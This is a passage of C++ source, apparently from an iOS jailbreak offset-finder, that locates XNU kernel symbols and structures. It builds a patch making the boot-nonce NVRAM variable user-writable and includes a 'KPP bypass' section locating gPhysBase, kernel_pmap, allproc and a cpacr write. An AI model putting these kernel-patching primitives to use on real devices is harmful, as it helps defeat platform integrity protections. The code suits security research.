kOFVariablePermUserWrite,
988
kOFVariablePermKernelOnly
989
};
990
struct OFVariable {
991
const char *variableName;
992
OFVariableType variableType;
993
OFVariablePerm variablePerm;
994
uint32_t _padding;
995
uint32_t variableOffset;
996
};
997
998
999
patch offsetfinder64::find_nonceEnabler_patch(){
1000
if (!haveSymbols()){
1001
info("Falling back to find_nonceEnabler_patch_nosym, because we don't have symbols");
1002
return find_nonceEnabler_patch_nosym();
1003
}
1004
1005
loc_t str = findstr("com.apple.System.boot-nonce",true);
1006
retassure(str, "Failed to find str");
1007
1008
loc_t sym = find_sym("_gOFVariables");
1009
1010
insn ptr(_segments,sym, insn::kText_and_Data);
1011
1012
//#warning TODO: doublecast works, but is still kinda ugly
1013
OFVariable *varp = (OFVariable*)(void*)ptr;
1014
OFVariable nullvar = {0};
1015
for (OFVariable *vars = varp;memcmp(vars, &nullvar, sizeof(OFVariable)) != 0; vars++) {
1016
1017
if ((loc_t)vars->variableName == str) {
1018
uint8_t mypatch = (uint8_t)kOFVariablePermUserWrite;
1019
loc_t location = sym + ((uint8_t*)&vars->variablePerm - (uint8_t*)varp);
1020
return {location,&mypatch,1};
1021
}
1022
}
1023
1024
reterror("failed to find \"com.apple.System.boot-nonce\"");
1025
return {0,0,0};
1026
}
1027
1028
patch offsetfinder64::find_nonceEnabler_patch_nosym(){
1029
loc_t str = findstr("com.apple.System.boot-nonce",true);
1030
retassure(str, "Failed to find str");
1031
1032
loc_t valref = memmem(&str, sizeof(str));
1033
retassure(valref, "Failed to find val ref");
1034
1035
loc_t str2 = findstr("com.apple.System.sep.art",true);
1036
retassure(str2, "Failed to find str2");
1037
1038
loc_t valref2 = memmem(&str2, sizeof(str2));
1039
retassure(valref2, "Failed to find val ref2");
1040
1041
auto diff = abs(valref - valref2);
1042
1043
assure(diff % sizeof(OFVariable) == 0 && diff < 0x50); //simple sanity check
1044
1045
insn ptr(_segments, valref, insn::kText_and_Data);
1046
1047
OFVariable *vars = (OFVariable*)(void*)ptr;
1048
if ((loc_t)vars->variableName == str) {
1049
uint8_t mypatch = (uint8_t)kOFVariablePermUserWrite;
1050
loc_t location = valref + offsetof(OFVariable, variablePerm);
1051
return {location,&mypatch,1};
1052
}
1053
1054
reterror("failed to find \"com.apple.System.boot-nonce\"");
1055
return {0,0,0};
1056
}
1057
1058
#pragma mark KPP bypass
1059
loc_t offsetfinder64::find_gPhysBase(){
1060
loc_t ref = find_sym("_ml_static_ptovirt");
1061
1062
insn tgtref(_segments, ref);
1063
1064
loc_t gPhysBase = 0;
1065
1066
if (tgtref != insn::adrp)
1067
while (++tgtref != insn::adrp);
1068
gPhysBase = (loc_t)tgtref.imm();
1069
1070
while (++tgtref != insn::ldr);
1071
gPhysBase += tgtref.imm();
1072
1073
return gPhysBase;
1074
}
1075
1076
loc_t offsetfinder64::find_gPhysBase_nosym(){
1077
loc_t str = findstr("\"pmap_map_high_window_bd: area too large", false);
1078
retassure(str, "Failed to find str");
1079
1080
loc_t ref = find_literal_ref(_segments, str);
1081
retassure(ref, "literal ref to str");
1082
1083
insn tgtref(_segments, ref);
1084
1085
loc_t gPhysBase = 0;
1086
1087
while (++tgtref != insn::adrp);
1088
gPhysBase = (loc_t)tgtref.imm();
1089
1090
while (++tgtref != insn::ldr);
1091
gPhysBase += tgtref.imm();
1092
1093
return gPhysBase;
1094
}
1095
1096
loc_t offsetfinder64::find_kernel_pmap(){
1097
if (haveSymbols()) {
1098
return find_sym("_kernel_pmap");
1099
}else{
1100
return find_kernel_pmap_nosym();
1101
}
1102
}
1103
1104
loc_t offsetfinder64::find_kernel_pmap_nosym(){
1105
loc_t str = findstr("\"pmap_map_bd\"", true);
1106
retassure(str, "Failed to find str");
1107
1108
loc_t ref = find_literal_ref(_segments, str, 1);
1109
retassure(ref, "literal ref to str");
1110
1111
insn btm(_segments,ref);
1112
while (++btm != insn::ret);
1113
1114
insn kerne_pmap_ref(btm);
1115
while (--kerne_pmap_ref != insn::adrp);
1116
1117
uint8_t reg = kerne_pmap_ref.rd();
1118
loc_t kernel_pmap = (loc_t)kerne_pmap_ref.imm();
1119
1120
while (++kerne_pmap_ref != insn::ldr || kerne_pmap_ref.rn() != reg);
1121
assure(kerne_pmap_ref.pc()<btm.pc());
1122
1123
kernel_pmap += kerne_pmap_ref.imm();
1124
1125
return kernel_pmap;
1126
}
1127
1128
loc_t offsetfinder64::find_cpacr_write(){
1129
return memmem("\x40\x10\x18\xD5", 4);
1130
}
1131
1132
loc_t offsetfinder64::find_idlesleep_str_loc(){
1133
loc_t entryp = find_entry();
1134
1135
insn finder(_segments,entryp);
1136
assure(finder == insn::b);
1137
1138
insn deepsleepfinder(finder, (loc_t)finder.imm());
1139
while (--deepsleepfinder != insn::nop);
1140
1141
loc_t fref = find_literal_ref(_segments, (loc_t)(deepsleepfinder.pc())+4+0xC);
1142
1143
insn str(finder,fref);
1144
while (++str != insn::str);
1145
while (++str != insn::str);
1146
1147
loc_t idlesleep_str_loc = (loc_t)str.imm();
1148
int rn = str.rn();
1149
while (--str != insn::adrp || str.rd() != rn);
1150
idlesleep_str_loc += str.imm();
1151
1152
return idlesleep_str_loc;
1153
}
1154
1155
loc_t offsetfinder64::find_deepsleep_str_loc(){
1156
loc_t entryp = find_entry();
1157
1158
insn finder(_segments,entryp);
1159
assure(finder == insn::b);
1160
1161
insn deepsleepfinder(finder, (loc_t)finder.imm());
1162
while (--deepsleepfinder != insn::nop);
1163
1164
loc_t fref = find_literal_ref(_segments, (loc_t)(deepsleepfinder.pc())+4+0xC);
1165
1166
insn str(finder,fref);
1167
while (++str != insn::str);
1168
1169
loc_t idlesleep_str_loc = (loc_t)str.imm();
1170
int rn = str.rn();
1171
while (--str != insn::adrp || str.rd() != rn);
1172
idlesleep_str_loc += str.imm();
1173
1174
return idlesleep_str_loc;
1175
}
1176
1177
loc_t offsetfinder64::find_rootvnode() {
1178
return find_sym("_rootvnode");
1179
}
1180
1181
loc_t offsetfinder64::find_allproc(){
1182
loc_t str = findstr("\"pgrp_add : pgrp is dead adding process\"",true);
1183
retassure(str, "Failed to find str");
1184
1185
loc_t ref = find_literal_ref(_segments, str);
1186
retassure(ref, "literal ref to str");
1187
1188
insn ptr(_segments,ref);
1189
1190
while (++ptr != insn::and_ || ptr.rd() != 8 || ptr.rn() != 8 || ptr.imm() != 0xffffffffffffdfff);
1191
1192
loc_t retval = (loc_t)find_register_value(ptr-2, 8);
1193
1194
return retval;
1195
}
1196
1197
offsetfinder64::~offsetfinder64(){
1198
if (_freeKernel) safeFree(_kdata);
1199
}
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
//
1211
1212